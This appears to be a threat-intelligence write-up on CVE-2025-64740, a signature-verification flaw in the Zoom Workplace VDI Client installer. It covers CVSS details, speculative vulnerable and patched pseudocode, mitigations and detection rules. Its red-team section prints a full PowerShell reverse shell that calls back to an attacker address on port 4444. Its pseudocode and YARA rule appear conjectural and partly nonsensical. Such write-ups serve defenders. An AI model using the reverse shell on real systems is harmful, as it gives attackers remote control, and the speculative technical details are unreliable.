CVE-2025-64740

Executive Summary

CVE-2025-64740 is a high-severity vulnerability in the Zoom Workplace VDI Client for Windows. The flaw stems from improper verification of cryptographic signatures within the installer, allowing an authenticated local attacker to escalate privileges. This means a user with limited access can exploit the installer’s trust mechanism to execute arbitrary code with elevated privileges, potentially compromising the entire VDI environment. The vulnerability has a CVSS score of 7.5, indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native installer issue within the Zoom Workplace VDI Client.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs initial user-level access.
• User Interaction: None (UI:N) – No victim action is needed.
• Scope: Unchanged (S:U) – The exploit does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – System files can be modified.
• Availability Impact: High (A:H) – System can be rendered unusable.

Threat Level: High. The low attack complexity and lack of user interaction make this a serious threat for VDI environments where users have local access.

Deep Dive & Mechanics

The vulnerability lies in the installer for Zoom Workplace VDI Client for Windows. The installer is designed to verify a cryptographic signature to ensure the integrity and authenticity of the installation package. However, due to improper verification logic, an authenticated user can bypass this check.

Mechanism:

1. The installer loads a cryptographic signature from a file or registry key.
2. Due to a flaw in the verification routine, the signature is not properly validated against a trusted certificate chain.
3. An attacker with local access can replace the legitimate installer payload with a malicious one, while preserving or forging a signature that passes the weak check.
4. When the installer runs (e.g., during an update or reinstallation), it executes the malicious code with SYSTEM or Administrator privileges.

Root Cause: The code fails to enforce strict certificate chain validation, allowing self-signed or untrusted certificates to be accepted.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Pseudocode):

bool VerifySignature(string installerPath) {
    // Load signature from file
    Signature sig = LoadSignature(installerPath + ".sig");
    // Weak check: only verifies the signature exists, not its trust chain
    if (sig != null) {
        return true;
    }
    return false;
}

Patched Code (Expected):

bool VerifySignature(string installerPath) {
    // Load signature and certificate
    Signature sig = LoadSignature(installerPath + ".sig");
    X509Certificate cert = LoadCertificate(installerPath + ".cert");
    // Validate certificate chain against trusted root store
    if (sig != null && cert != null && ValidateChain(cert)) {
        return VerifyData(installerPath, sig, cert);
    }
    return false;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Windows 10/11 VM with Zoom Workplace VDI Client installed.
• Attacker has local user access (e.g., via RDP or physical access).

Exploitation Steps:

1. Identify the installer executable (e.g., ZoomInstaller.exe) and its signature file.
2. Create a malicious payload (e.g., a reverse shell) that will run with elevated privileges.
3. Replace the legitimate installer with the malicious payload.
4. Forge or copy the signature file to pass the weak verification.
5. Trigger the installer (e.g., by running ZoomInstaller.exe or waiting for an update).
6. The malicious code executes with SYSTEM privileges.

Example Payload (PowerShell):

# reverse shell to attacker's C2
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Defensive)

Detection:

• Monitor for unusual installer executions (e.g., ZoomInstaller.exe launched by non-admin users).
• Alert on signature verification failures in Windows Event Log (Event ID 1001 from Application).
• Use file integrity monitoring to detect changes to Zoom installer files.

Mitigation:

• Restrict local user permissions to prevent modification of installer files.
• Deploy application whitelisting (e.g., AppLocker) to block unauthorized executables.
• Enable Windows Defender Attack Surface Reduction (ASR) rules for untrusted executables.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_64740_Zoom_Installer_Signature_Bypass {
    meta:
        description = "Detects modified Zoom installer with weak signature verification"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64740"
    strings:
        $sig_marker = "ZoomInstaller" ascii wide nocase
        $weak_check = "VerifySignature" ascii wide nocase
        $bypass_code = { 75 73 65 72 2D 6C 65 76 65 6C } // "user-level" in hex
    condition:
        $sig_marker and $weak_check and #bypass_code > 0
}

Sigma Rule

title: CVE-2025-64740 - Zoom Installer Signature Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of Zoom installer by non-privileged users or with modified signature files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\\ZoomInstaller.exe'
        User|endswith: '\\User'  # Non-admin user
    condition: selection
falsepositives:
    - Legitimate Zoom updates triggered by standard users (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 1024:65535 (msg:"CVE-2025-64740 - Zoom Installer Potential Reverse Shell"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"ZoomInstaller"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Local Privileges: Ensure users have only the minimum necessary permissions on VDI endpoints.
2. Disable Auto-Update: Temporarily disable automatic updates for Zoom Workplace VDI Client until a patch is released.
3. Monitor Installer Activity: Enable logging for process creation and file changes related to Zoom installer.

Long-Term Fix:

• Apply the official patch from Zoom when released.
• Implement code signing policies that enforce strict certificate chain validation.
• Conduct a security review of all installer components.

Workaround:

• Deploy the Zoom VDI Client via a centralized management tool (e.g., SCCM) that bypasses the local installer.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert